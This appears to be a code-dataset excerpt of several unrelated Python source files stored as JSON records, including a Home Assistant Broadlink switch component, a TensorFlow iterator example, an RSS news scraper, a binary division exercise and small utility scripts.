5050\nFORMAT = 'utf-8'\nDISCONNECT_MESSAGE = \"!DISCONNECT\"\nSERVER = \"192.168.192.47\"\nADDR = (SERVER, PORT)\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(ADDR)\n\ndef send(msg):\n message = msg.encode(FORMAT)\n msg_length = len(message)\n send_length = str(msg_length).encode(FORMAT)\n send_length += b' ' * (HEADER - len(send_length))\n client.send(send_length)\n client.send(message)\n print(client.recv(2048).decode(FORMAT))\n\ndef send_capture(color,pawnIdx):\n\tmsg = f\"SUBMIT_MOVE {color} {pawnIdx}\"\n\tsend(msg)\n\nif __name__ == \"__main__\":\n\tsend(\"SUBMIT_PLAYER Vincent red\")\n\tsend_capture(\"red\", 4)\n\tinput()\n\tsend(DISCONNECT_MESSAGE)","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"299183801","text":"\"\"\"Support for Broadlink RM devices.\"\"\"\nfrom datetime import timedelta\nfrom ipaddress import ip_address\nimport logging\n\nimport broadlink as blk\nfrom broadlink.exceptions import BroadlinkException, CommandNotSupportedError\nimport voluptuous as vol\n\nfrom homeassistant.components.switch import DOMAIN, PLATFORM_SCHEMA, SwitchEntity\nfrom homeassistant.const import (\n CONF_COMMAND_OFF,\n CONF_COMMAND_ON,\n CONF_FRIENDLY_NAME,\n CONF_HOST,\n CONF_MAC,\n CONF_SWITCHES,\n CONF_TIMEOUT,\n CONF_TYPE,\n STATE_ON,\n)\nfrom homeassistant.exceptions import PlatformNotReady\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.restore_state import RestoreEntity\nfrom homeassistant.util import Throttle, slugify\n\nfrom . import async_setup_service, data_packet, hostname, mac_address\nfrom .const import (\n DEFAULT_NAME,\n DEFAULT_PORT,\n DEFAULT_TIMEOUT,\n MP1_TYPES,\n RM4_TYPES,\n RM_TYPES,\n SP1_TYPES,\n SP2_TYPES,\n)\nfrom .device import BroadlinkDevice\n\n_LOGGER = logging.getLogger(__name__)\n\nTIME_BETWEEN_UPDATES = timedelta(seconds=5)\n\nCONF_SLOTS = \"slots\"\nCONF_RETRY = \"retry\"\n\nDEVICE_TYPES = RM_TYPES + RM4_TYPES + SP1_TYPES + SP2_TYPES + MP1_TYPES\n\nSWITCH_SCHEMA = vol.Schema(\n {\n vol.Optional(CONF_COMMAND_OFF): data_packet,\n vol.Optional(CONF_COMMAND_ON): data_packet,\n vol.Optional(CONF_FRIENDLY_NAME): cv.string,\n }\n)\n\nMP1_SWITCH_SLOT_SCHEMA = vol.Schema(\n {\n vol.Optional(\"slot_1\"): cv.string,\n vol.Optional(\"slot_2\"): cv.string,\n vol.Optional(\"slot_3\"): cv.string,\n vol.Optional(\"slot_4\"): cv.string,\n }\n)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Optional(CONF_SWITCHES, default={}): cv.schema_with_slug_keys(\n SWITCH_SCHEMA\n ),\n vol.Optional(CONF_SLOTS, default={}): MP1_SWITCH_SLOT_SCHEMA,\n vol.Required(CONF_HOST): vol.All(vol.Any(hostname, ip_address), cv.string),\n vol.Required(CONF_MAC): mac_address,\n vol.Optional(CONF_FRIENDLY_NAME, default=DEFAULT_NAME): cv.string,\n vol.Optional(CONF_TYPE, default=DEVICE_TYPES[0]): vol.In(DEVICE_TYPES),\n vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int,\n }\n)\n\n\nasync def async_setup_platform(hass, config, async_add_entities, discovery_info=None):\n \"\"\"Set up the Broadlink switches.\"\"\"\n\n host = config[CONF_HOST]\n mac_addr = config[CONF_MAC]\n friendly_name = config[CONF_FRIENDLY_NAME]\n model = config[CONF_TYPE]\n timeout = config[CONF_TIMEOUT]\n slots = config[CONF_SLOTS]\n devices = config[CONF_SWITCHES]\n\n def generate_rm_switches(switches, broadlink_device):\n \"\"\"Generate RM switches.\"\"\"\n return [\n BroadlinkRMSwitch(\n object_id,\n config.get(CONF_FRIENDLY_NAME, object_id),\n broadlink_device,\n config.get(CONF_COMMAND_ON),\n config.get(CONF_COMMAND_OFF),\n )\n for object_id, config in switches.items()\n ]\n\n def get_mp1_slot_name(switch_friendly_name, slot):\n \"\"\"Get slot name.\"\"\"\n if not slots[f\"slot_{slot}\"]:\n return f\"{switch_friendly_name} slot {slot}\"\n return slots[f\"slot_{slot}\"]\n\n if model in RM_TYPES:\n api = blk.rm((host, DEFAULT_PORT), mac_addr, None)\n broadlink_device = BroadlinkDevice(hass, api)\n switches = generate_rm_switches(devices, broadlink_device)\n elif model in RM4_TYPES:\n api = blk.rm4((host, DEFAULT_PORT), mac_addr, None)\n broadlink_device = BroadlinkDevice(hass, api)\n switches = generate_rm_switches(devices, broadlink_device)\n elif model in SP1_TYPES:\n api = blk.sp1((host, DEFAULT_PORT), mac_addr, None)\n broadlink_device = BroadlinkDevice(hass, api)\n switches = [BroadlinkSP1Switch(friendly_name, broadlink_device)]\n elif model in SP2_TYPES:\n api = blk.sp2((host, DEFAULT_PORT), mac_addr, None)\n broadlink_device = BroadlinkDevice(hass, api)\n switches = [BroadlinkSP2Switch(friendly_name, broadlink_device)]\n elif model in MP1_TYPES:\n api = blk.mp1((host, DEFAULT_PORT), mac_addr, None)\n broadlink_device = BroadlinkDevice(hass, api)\n parent_device = BroadlinkMP1Switch(broadlink_device)\n switches = [\n BroadlinkMP1Slot(\n get_mp1_slot_name(friendly_name, i), broadlink_device, i, parent_device,\n )\n for i in range(1, 5)\n ]\n\n api.timeout = timeout\n connected = await broadlink_device.async_connect()\n if not connected:\n raise PlatformNotReady\n\n if model in RM_TYPES or model in RM4_TYPES:\n hass.async_create_task(async_setup_service(hass, host, broadlink_device))\n\n async_add_entities(switches)\n\n\nclass BroadlinkRMSwitch(SwitchEntity, RestoreEntity):\n \"\"\"Representation of an Broadlink switch.\"\"\"\n\n def __init__(self, name, friendly_name, device, command_on, command_off):\n \"\"\"Initialize the switch.\"\"\"\n self.device = device\n self.entity_id = f\"{DOMAIN}.{slugify(name)}\"\n self._name = friendly_name\n self._state = False\n self._command_on = command_on\n self._command_off = command_off\n\n async def async_added_to_hass(self):\n \"\"\"Call when entity about to be added to hass.\"\"\"\n await super().async_added_to_hass()\n state = await self.async_get_last_state()\n if state:\n self._state = state.state == STATE_ON\n\n @property\n def name(self):\n \"\"\"Return the name of the switch.\"\"\"\n return self._name\n\n @property\n def assumed_state(self):\n \"\"\"Return true if unable to access real state of entity.\"\"\"\n return True\n\n @property\n def available(self):\n \"\"\"Return True if entity is available.\"\"\"\n return not self.should_poll or self.device.available\n\n @property\n def should_poll(self):\n \"\"\"Return the polling state.\"\"\"\n return False\n\n @property\n def is_on(self):\n \"\"\"Return true if device is on.\"\"\"\n return self._state\n\n async def async_update(self):\n \"\"\"Update the state of the device.\"\"\"\n if not self.available:\n await self.device.async_connect()\n\n async def async_turn_on(self, **kwargs):\n \"\"\"Turn the device on.\"\"\"\n if await self._async_send_packet(self._command_on):\n self._state = True\n self.async_write_ha_state()\n\n async def async_turn_off(self, **kwargs):\n \"\"\"Turn the device off.\"\"\"\n if await self._async_send_packet(self._command_off):\n self._state = False\n self.async_write_ha_state()\n\n async def _async_send_packet(self, packet):\n \"\"\"Send packet to device.\"\"\"\n if packet is None:\n _LOGGER.debug(\"Empty packet\")\n return True\n try:\n await self.device.async_request(self.device.api.send_data, packet)\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to send packet: %s\", err_msg)\n return False\n return True\n\n\nclass BroadlinkSP1Switch(BroadlinkRMSwitch):\n \"\"\"Representation of an Broadlink switch.\"\"\"\n\n def __init__(self, friendly_name, device):\n \"\"\"Initialize the switch.\"\"\"\n super().__init__(friendly_name, friendly_name, device, None, None)\n self._command_on = 1\n self._command_off = 0\n self._load_power = None\n\n async def _async_send_packet(self, packet):\n \"\"\"Send packet to device.\"\"\"\n try:\n await self.device.async_request(self.device.api.set_power, packet)\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to send packet: %s\", err_msg)\n return False\n return True\n\n\nclass BroadlinkSP2Switch(BroadlinkSP1Switch):\n \"\"\"Representation of an Broadlink switch.\"\"\"\n\n @property\n def assumed_state(self):\n \"\"\"Return true if unable to access real state of entity.\"\"\"\n return False\n\n @property\n def should_poll(self):\n \"\"\"Return the polling state.\"\"\"\n return True\n\n @property\n def current_power_w(self):\n \"\"\"Return the current power usage in Watt.\"\"\"\n try:\n return round(self._load_power, 2)\n except (ValueError, TypeError):\n return None\n\n async def async_update(self):\n \"\"\"Update the state of the device.\"\"\"\n try:\n self._state = await self.device.async_request(self.device.api.check_power)\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to update state: %s\", err_msg)\n return\n\n try:\n self._load_power = await self.device.async_request(\n self.device.api.get_energy\n )\n except CommandNotSupportedError:\n return\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to update load power: %s\", err_msg)\n\n\nclass BroadlinkMP1Slot(BroadlinkRMSwitch):\n \"\"\"Representation of a slot of Broadlink switch.\"\"\"\n\n def __init__(self, friendly_name, device, slot, parent_device):\n \"\"\"Initialize the slot of switch.\"\"\"\n super().__init__(friendly_name, friendly_name, device, None, None)\n self._command_on = 1\n self._command_off = 0\n self._slot = slot\n self._parent_device = parent_device\n\n @property\n def assumed_state(self):\n \"\"\"Return true if unable to access real state of entity.\"\"\"\n return False\n\n @property\n def should_poll(self):\n \"\"\"Return the polling state.\"\"\"\n return True\n\n async def async_update(self):\n \"\"\"Update the state of the device.\"\"\"\n await self._parent_device.async_update()\n self._state = self._parent_device.get_outlet_status(self._slot)\n\n async def _async_send_packet(self, packet):\n \"\"\"Send packet to device.\"\"\"\n try:\n await self.device.async_request(\n self.device.api.set_power, self._slot, packet\n )\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to send packet: %s\", err_msg)\n return False\n return True\n\n\nclass BroadlinkMP1Switch:\n \"\"\"Representation of a Broadlink switch - To fetch states of all slots.\"\"\"\n\n def __init__(self, device):\n \"\"\"Initialize the switch.\"\"\"\n self.device = device\n self._states = None\n\n def get_outlet_status(self, slot):\n \"\"\"Get status of outlet from cached status list.\"\"\"\n if self._states is None:\n return None\n return self._states[f\"s{slot}\"]\n\n @Throttle(TIME_BETWEEN_UPDATES)\n async def async_update(self):\n \"\"\"Update the state of the device.\"\"\"\n try:\n states = await self.device.async_request(self.device.api.check_power)\n except BroadlinkException as err_msg:\n _LOGGER.error(\"Failed to update state: %s\", err_msg)\n self._states = states\n","sub_path":"homeassistant/components/broadlink/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":10989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"258633041","text":"from django.conf.urls import url\n\nfrom . import views\napp_name='classroom'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^signup/$',views.signup,name='signup'),\n url(r'^profile/$',views.profile,name='profile'),\n url(r'^doubts/$',views.doubts,name='doubts'),\n url(r'^alldoubts/$',views.alldoubts,name='alldoubts'),\n # url(r'^commenttry/$',views.commenttry,name='commenttry'),\n # url(r'^allcomments/$',views.allcomments,name='allcomments'),\n url(r'^postreply/([0-9]{2})/$',views.postreply,name='postreply')\n]","sub_path":"classroom/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466603362","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 9 21:37:42 2018\n\n@author: Neil\n\"\"\"\n\nimport tensorflow as tf\n\nfrom tensorflow.contrib.data import Dataset, Iterator\n\n# Toy data\ntrain_imgs = tf.constant(['train/img1.png', 'train/img2.png',\n 'train/img3.png', 'train/img4.png',\n 'train/img5.png', 'train/img6.png'])\ntrain_labels = tf.constant([0, 0, 0, 1, 1, 1])\n\nval_imgs = tf.constant(['val/img1.png', 'val/img2.png',\n 'val/img3.png', 'val/img4.png'])\nval_labels = tf.constant([0, 0, 1, 1])\n\n# create TensorFlow Dataset objects\ntr_data = Dataset.from_tensor_slices((train_imgs, train_labels))\nval_data = Dataset.from_tensor_slices((val_imgs, val_labels))\n\n# create TensorFlow Iterator object\niterator = Iterator.from_structure(tr_data.output_types,\n tr_data.output_shapes)\nnext_element = iterator.get_next()\n\n# create two initialization ops to switch between the datasets\ntraining_init_op = iterator.make_initializer(tr_data)\nvalidation_init_op = iterator.make_initializer(val_data)\n\nwith tf.Session() as sess:\n\n # initialize the iterator on the training data\n sess.run(training_init_op)\n\n # get each element of the training dataset until the end is reached\n while True:\n try:\n elem = sess.run(next_element)\n print(elem)\n except tf.errors.OutOfRangeError:\n print(\"End of training dataset.\")\n break\n\n # initialize the iterator on the validation data\n sess.run(validation_init_op)\n\n # get each element of the validation dataset until the end is reached\n while True:\n try:\n elem = sess.run(next_element)\n print(elem)\n except tf.errors.OutOfRangeError:\n print(\"End of training dataset.\")\n break","sub_path":"Stanford CS20 2018/tensorflow practice codes/data2_iterator_example.py","file_name":"data2_iterator_example.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"617257792","text":"\n# System imports\nimport sys\nimport getopt\nimport CallTime\n\n# Project imports\nimport SuffixTree\n\ndef main(argv):\n\n # -- Parse arguments from commandline\n\n file_text = \"\"\n pattern = \"\"\n\n try:\n opts, args = getopt.getopt(argv, \"\")\n except getopt.GetoptError as err:\n print(\"Error parsing arguments (getopt) : \" + str(err) )\n exit(2)\n\n arg_pos = 0\n for arg in args:\n\n if arg_pos == 0:\n file_text = arg\n arg_pos += 1\n continue\n\n if arg_pos == 1:\n pattern = arg\n arg_pos += 1\n continue\n\n if arg_pos > 1:\n print(\"program only accepts two arguments. found \" + str(arg_pos + 1) + \" : \" + str(args) )\n exit(2)\n\n if arg_pos < 2:\n print(\"program only accepts two arguments. found \" + str(arg_pos) + \" : \" + str(args))\n exit(2)\n\n # -- Open file\n\n with open(file_text, \"r\") as FileObject:\n text = FileObject.read()\n\n # -- Match string\n\n st = SuffixTree.SuffixTree_Naive.Generate_Naive(text)\n matches = st.Search(pattern)\n\n # -- Report matches to user\n\n report = \"\"\n for match_pos in matches:\n # Resulsts are zero based -- add 1\n report += str(match_pos + 1) + \" \"\n\n print(report)\n\n # -- Exit program\n\n exit(0)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"Project2/search-st.py","file_name":"search-st.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"280197373","text":"from interests.models import Interest\r\nfrom .models import NewsItem\r\nfrom .models import NewsResult\r\nfrom django.utils import timezone\r\nfrom django.utils.html import strip_tags\r\nfrom django.db import IntegrityError\r\nfrom newspaper import Article\r\nfrom datetime import datetime\r\nimport feedparser\r\n\r\n\r\n# Dictionary of all allowed RSS sources of news\r\nrss_sources = {'AP': 'http://hosted2.ap.org/atom/APDEFAULT/89ae8247abe8493fae24405546e9a1aa',\r\n 'Reuters - Politics': 'http://feeds.reuters.com/Reuters/PoliticsNews',\r\n 'Reuters - Domestic': 'http://feeds.reuters.com/Reuters/domesticNews',\r\n 'The Economist - United States': 'http://www.economist.com/sections/united-states/rss.xml',\r\n 'The Economist - Economics': 'http://www.economist.com/sections/economics/rss.xml',\r\n 'The Independent': 'http://www.independent.co.uk/news/world/americas/rss',\r\n 'BBC': 'http://feeds.bbci.co.uk/news/world/us_and_canada/rss.xml',\r\n 'WSJ': 'http://www.wsj.com/xml/rss/3_7085.xml',\r\n}\r\n\r\n# English stopwords that we don't care about\r\ncachedStopWords = [\r\n'i',\r\n'me',\r\n'my',\r\n'myself',\r\n'we',\r\n'our',\r\n'ours',\r\n'ourselves',\r\n'you',\r\n'your',\r\n'yours',\r\n'yourself',\r\n'yourselves',\r\n'he',\r\n'him',\r\n'his',\r\n'himself',\r\n'she',\r\n'her',\r\n'hers',\r\n'herself',\r\n'it',\r\n'its',\r\n'itself',\r\n'they',\r\n'them',\r\n'their',\r\n'theirs',\r\n'themselves',\r\n'what',\r\n'which',\r\n'who',\r\n'whom',\r\n'this',\r\n'that',\r\n'these',\r\n'those',\r\n'am',\r\n'is',\r\n'are',\r\n'was',\r\n'were',\r\n'be',\r\n'been',\r\n'being',\r\n'have',\r\n'has',\r\n'had',\r\n'having',\r\n'do',\r\n'does',\r\n'did',\r\n'doing',\r\n'a',\r\n'an',\r\n'the',\r\n'and',\r\n'but',\r\n'if',\r\n'or',\r\n'because',\r\n'as',\r\n'until',\r\n'while',\r\n'of',\r\n'at',\r\n'by',\r\n'for',\r\n'with',\r\n'about',\r\n'against',\r\n'between',\r\n'into',\r\n'through',\r\n'during',\r\n'before',\r\n'after',\r\n'above',\r\n'below',\r\n'to',\r\n'from',\r\n'up',\r\n'down',\r\n'in',\r\n'out',\r\n'on',\r\n'off',\r\n'over',\r\n'under',\r\n'again',\r\n'further',\r\n'then',\r\n'once',\r\n'here',\r\n'there',\r\n'when',\r\n'where',\r\n'why',\r\n'how',\r\n'all',\r\n'any',\r\n'both',\r\n'each',\r\n'few',\r\n'more',\r\n'most',\r\n'other',\r\n'some',\r\n'such',\r\n'no',\r\n'nor',\r\n'not',\r\n'only',\r\n'own',\r\n'same',\r\n'so',\r\n'than',\r\n'too',\r\n'very',\r\n'can',\r\n'will',\r\n'just',\r\n'don',\r\n'should',\r\n'would',\r\n'now',\r\n'whether',\r\n'-',\r\n]\r\n\r\n\r\n'''\r\nHelper function that takes all the sources and RSS links in the rss_sources dictionary and\r\ncreates a new dictionary with the source and its parsed data\r\n\r\nReturns: parsed_feeds - dictionary\r\n'''\r\ndef parse_rss_sources():\r\n parsed_feeds = dict()\r\n for source,link in rss_sources.items():\r\n feed = feedparser.parse(link)\r\n parsed_feeds.update({source: feed.entries})\r\n return parsed_feeds\r\n\r\n\r\n'''\r\nBuilds up the newsitems in the DB. Parses each RSS source, iterates through the articles in the\r\nfeed and finds the keywords for each. Then creates entry in DB\r\n\r\nReturns - nothing\r\n'''\r\ndef populate_newsitems():\r\n knowledge_sources = parse_rss_sources()\r\n\r\n # Keep a list of what we're saving to avoid dups\r\n stories_saved = []\r\n\r\n # For every source and its parsed entries\r\n for source, entries in knowledge_sources.items():\r\n # There are multiple stories in each \"entry\"\r\n for story in entries:\r\n title = story.title\r\n\r\n # Ensure there are no duplicate stories\r\n if title in stories_saved:\r\n continue\r\n else:\r\n stories_saved.append(title)\r\n\r\n description = story.description.encode('utf-8')\r\n description = str(description)\r\n description = strip_tags(description)\r\n link = story.link\r\n\r\n # Make the date into something that can be converted into datetime objects\r\n publish_date = story.published_parsed\r\n date = []\r\n for i in publish_date:\r\n date.append(str(i))\r\n publish_date = '-'.join(date[:3])\r\n publish_date = datetime.strptime(publish_date, '%Y-%m-%d')\r\n\r\n # Use newspaper to parse the article into useful pieces\r\n article = Article(link)\r\n article.download()\r\n article.parse()\r\n\r\n # Find the keywords in the article's text (or in the desc if somehow newspaper doesn't succeed\r\n # in getting the text back)\r\n if article.text == '' or article.text == None:\r\n keywords_found = find_keywords(description)\r\n else:\r\n text = article.text\r\n keywords_found = find_keywords(str(text))\r\n\r\n # Create NewsItem and Save into DB unless it raises IntegrityError (already exists)\r\n news_item = NewsItem()\r\n try:\r\n news_item.title = title\r\n news_item.save()\r\n except IntegrityError as e:\r\n continue\r\n news_item.link = link\r\n news_item.description = description\r\n news_item.source = source\r\n news_item.top_img = article.top_image\r\n news_item.pub_date = publish_date\r\n news_item.keywords = keywords_found\r\n news_item.save()\r\n print(\"Newsitem {} saved\".format(title))\r\n\r\n # Not sure what else to return here, since seems like Celery tasks need to return something\r\n # return True\r\n\r\n\r\n'''\r\nTakes the keywords of the Interest passed in and compares with the keywords of NewsItems\r\nin the database. If match is found, add that NewsItem into the Interest's NewsResults\r\nand save\r\n\r\nReturns - results dictionary\r\n'''\r\ndef get_newsitems(request, interest):\r\n results = NewsResult(interest=interest)\r\n result_found = False\r\n\r\n # Get the keywords associated with Interest\r\n keywords = interest.keywords.split(',')\r\n\r\n # Bring in all NewsItems (better way?)\r\n queryset = NewsItem.objects.all()#.order_by('-pub_date')\r\n\r\n # Search for the associated Interest keywords for each NewsItem\r\n for news_item in queryset:\r\n for word in keywords:\r\n word = word.strip().lower()\r\n # If something is found, raise the flag\r\n if word in news_item.keywords:\r\n print(\"Found result {}\".format(word))\r\n result_found = True\r\n\r\n # If something found, update the Interest and add Newsitem to the results\r\n if result_found:\r\n interest.last_refreshed = timezone.now()\r\n interest.save()\r\n results.save()\r\n results.newsitems.add(news_item)\r\n results.save()\r\n result_found = False\r\n\r\n return results\r\n\r\n\r\n'''\r\nFinds keywords for a given block of text, creates a dictionary with the words and their frequency,\r\nconverts this into a list of tuples containing (count, word), then iterates through the top n\r\nitems in the list and returns the word portion of the tuple\r\n\r\nReturns: keywords list with top n keywords (defaults at 5)\r\n'''\r\ndef find_keywords(text, n=5):\r\n text = ' '.join([word for word in text.split() if word not in cachedStopWords])\r\n wordlist = text.split()\r\n word_freq = [wordlist.count(p) for p in wordlist]\r\n kw_dict = dict(zip(wordlist, word_freq))\r\n\r\n kw_list = [(kw_dict[key], key) for key in kw_dict]\r\n kw_list.sort()\r\n kw_list.reverse()\r\n topword_list = []\r\n for i in range(n):\r\n try:\r\n topword_list.append(kw_list[i][1].lower())\r\n except IndexError:\r\n pass\r\n\r\n return topword_list\r\n","sub_path":"newsitems/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"542700980","text":"'''\nLecture 3 - Download a pic from the internet - X Files\n1. the function randomize a number between 1 to 1K\n2. the number will be added a .png or .jpg at the end\n3. we will import the module urllib.request\n4. we will call the function urlretrieve - 4 parameters, 2 will be defult of None\n5. we will use the urlretrieve to get the picture\n'''\n\n#import functions\nimport urllib.request\nimport urllib.parse\nfrom random import *\n\n#defining the function for downloading a picture\ndef download_web_image():\n rand_num = randint(1, 1000)\n # URL Of the Picture - change according to will\n #url = 'https://upload.wikimedia.org/wikipedia/en/e/e1/Thexfiles.jpg'\n url = 'https://media.giphy.com/media/10RhccNxPSaglW/giphy.gif'\n #reason to give a random number since images downloaded usually get random numbers\n full_name = \"CAT\" + str(rand_num) + \".gif\"\n\n #downloading the image\n #urllib.request.urlretrieve(url, full_name, reporthook= None, data = None)\n\n #Alternative way\n path = 'C:/Users/Chen/PycharmProjects/TESTPYTHON/'\n urllib.request.urlretrieve(url, path + full_name)\n\ndownload_web_image()\n","sub_path":"SheCodes/Lesson3 Functions/DownloadImageOrGif.py","file_name":"DownloadImageOrGif.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"322588714","text":"import csv\nimport os\nimport os.path\nimport io\nimport datetime\ntoday_date = datetime.date.today()\n\n\ndef product_csv_creator_file(data, category_name):\n\n if not os.path.exists('product_csv/'+str(today_date)+'/'):\n os.makedirs('product_csv/'+str(today_date)+'/')\n filename = 'product_csv/'+str(today_date)+'/'+category_name+'.csv'\n file_exists = os.path.isfile(filename)\n with io.open(filename, 'a', encoding='utf-8') as csvfile:\n fieldnames = ['Sub-category' ,'price','image','rating','details','cutomer-reivewcount']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n if not file_exists:\n writer.writeheader()\n\n writer.writerows([{'Sub-category':data['name'] ,'price':data['price'],\n 'image':data['img-url'],'rating':data['star-rating'],\n 'details':data['details'],'cutomer-reivewcount':data['customer-reviews-count']}])\n \n print(\"Writing complete\")","sub_path":"iSHED-Product-Crawler-master/Amazon/csv_creator.py","file_name":"csv_creator.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"60877650","text":"from collections import deque\n\ndef D2B(num, bin):\n\tc = 0\n\twhile(num > 0):\n\t\tc = c+1\n\t\ttemp = num%2\n\t\tnum = int(num/2)\n\t\tbin.insert(0,temp)\n\treturn c\n\ndd = int(input(\"Enter Dividend: \"))\nQ = []\nc1 = D2B(abs(dd), Q)\nQ.insert(0,0)\nc1 = c1+1\n\nds = int(input(\"Enter Divisor: \"))\nM = []\nc2 = D2B(abs(ds), M)\n\nwhile(c1 != c2):\n\tM.insert(0,0)\n\tc2 = c2+1\nprint(\"\\nDividend is\")\nprint(*Q, sep = ' ')\nprint(\"Divisor is\")\nprint(*M, sep = ' ')\n\n\ndef comp(bin, new):\n\t\tbin.reverse()\n\t\tcheck = False\n\t\tfor i, ele in enumerate(bin):\n\t\t\tif(not bool(check) and ele == 1):\n\t\t\t\tcheck = True\n\t\t\t\tnew.insert(0, 1)\n\t\t\telif(not bool(check) and ele == 0):\n\t\t\t\tnew.insert(0, 0)\n\t\t\telif(bool(check) and ele == 1):\n\t\t\t\tnew.insert(0, 0)\n\t\t\telif(bool(check) and ele == 0):\n\t\t\t\tnew.insert(0, 1)\n\t\tbin.reverse()\n\nCQ = []\nCM = []\ncomp(Q, CQ)\nprint(\"Complement of Dividend is\")\nprint(*CQ, sep = ' ')\ncomp(M, CM)\nprint(\"Complement of Divisor is\")\nprint(*CM, sep = ' ')\n\nsteps = 0\nA = []\nwhile(steps != c1):\n\tA.append(0)\n\tsteps = steps + 1\n\n\ndef add(A, M):\n\tcarry = 0\n\ti = 0\n\tA.reverse()\n\tM.reverse()\n\twhile(i < len(A)):\n\t\ta = A[i]\n\t\tm = M[i]\n\t\tif((a + m > 1) and carry == 0):\n\t\t\tcarry = 1\n\t\t\tA[i] = 0\n\n\t\telif((a + m > 1) and carry == 1):\n\t\t\tcarry = 1\n\t\t\tA[i] = 1\n\n\t\telif((a + m == 1) and carry == 0):\n\t\t\tcarry = 0\n\t\t\tA[i] = 1\n\t\telif((a + m == 1) and carry == 1):\n\t\t\tcarry = 1\n\t\t\tA[i] = 0\n\t\telif((a + m == 0) and carry == 1):\n\t\t\tcarry = 0\n\t\t\tA[i] = 1\n\t\ti = i + 1\n\tA.reverse()\n\tM.reverse()\n\nsteps = 1\n\ndef ls(arr):\n\tarr = deque(arr)\n\tarr.rotate(-1)\n\tarr = list(arr)\n\treturn arr\n\nwhile(steps <= c1):\n\tprint(f\"\\nStep{steps}\")\n\tA = ls(A)\n\tA[-1] = Q[0]\n\tQ = ls(Q)\n\tadd(A, CM)\n\tif(A[0] == 1):\n\t\tadd(A, M)\n\t\tQ[-1] = 0\n\telif(A[0] == 0):\n\t\tQ[-1] = 1\n\tprint(\"A->\", *A, sep = ' ')\n\tprint(\"Q->\", *Q, sep = ' ')\n\tsteps = steps + 1\n\nprint(\"\\nRemainder is: \")\nprint(*A, sep = ' ')\nprint(\"Quotient is: \")\nprint(*Q, sep = ' ')\n\n'''\nEnter Dividend: 19\nEnter Divisor: 7\n\nDividend is\n0 1 0 0 1 1\nDivisor is\n0 0 0 1 1 1\nComplement of Dividend is\n1 0 1 1 0 1\nComplement of Divisor is\n1 1 1 0 0 1\n\nStep1\nA-> 0 0 0 0 0 0\nQ-> 1 0 0 1 1 0\n\nStep2\nA-> 0 0 0 0 0 1\nQ-> 0 0 1 1 0 0\n\nStep3\nA-> 0 0 0 0 1 0\nQ-> 0 1 1 0 0 0\n\nStep4\nA-> 0 0 0 1 0 0\nQ-> 1 1 0 0 0 0\n\nStep5\nA-> 0 0 0 0 1 0\nQ-> 1 0 0 0 0 1\n\nStep6\nA-> 0 0 0 1 0 1\nQ-> 0 0 0 0 1 0\n\nRemainder is:\n0 0 0 1 0 1\nQuotient is:\n0 0 0 0 1 0\n\nEnter Dividend: 7\nEnter Divisor: 3\n\nDividend is\n0 1 1 1\nDivisor is\n0 0 1 1\nComplement of Dividend is\n1 0 0 1\nComplement of Divisor is\n1 1 0 1\n\nStep1\nA-> 0 0 0 0\nQ-> 1 1 1 0\n\nStep2\nA-> 0 0 0 1\nQ-> 1 1 0 0\n\nStep3\nA-> 0 0 0 0\nQ-> 1 0 0 1\n\nStep4\nA-> 0 0 0 1\nQ-> 0 0 1 0\n\nRemainder is:\n0 0 0 1\nQuotient is:\n0 0 1 0\n'''\n","sub_path":"Sem 4/COA/Codes/Div.py","file_name":"Div.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"393429181","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom opengever.task.browser.transitioncontroller import Checker\nfrom opengever.task.browser.transitioncontroller import get_checker\nfrom opengever.testing import FunctionalTestCase\nfrom plone.app.testing import TEST_USER_ID\nimport transaction\n\n\nclass TestTaskControllerChecker(FunctionalTestCase):\n\n def setUp(self):\n super(TestTaskControllerChecker, self).setUp()\n\n self.hugo = create(Builder('ogds_user')\n .having(userid='hugo.boss',\n firstname='Hugo',\n lastname='Boss',\n email='hugo@boss.ch')\n .in_group(self.org_unit.users_group))\n transaction.commit()\n\n def test_is_issuer(self):\n task1 = create(Builder('task').having(issuer=TEST_USER_ID))\n task2 = create(Builder('task').having(issuer='hugo.boss'))\n\n self.assertTrue(get_checker(task1).current_user.is_issuer)\n self.assertFalse(get_checker(task2).current_user.is_issuer)\n\n def test_is_issuer_checks_inbox_members_if_issuer_is_a_inbox(self):\n task1 = create(Builder('task')\n .having(issuer=self.org_unit.inbox().id()))\n\n 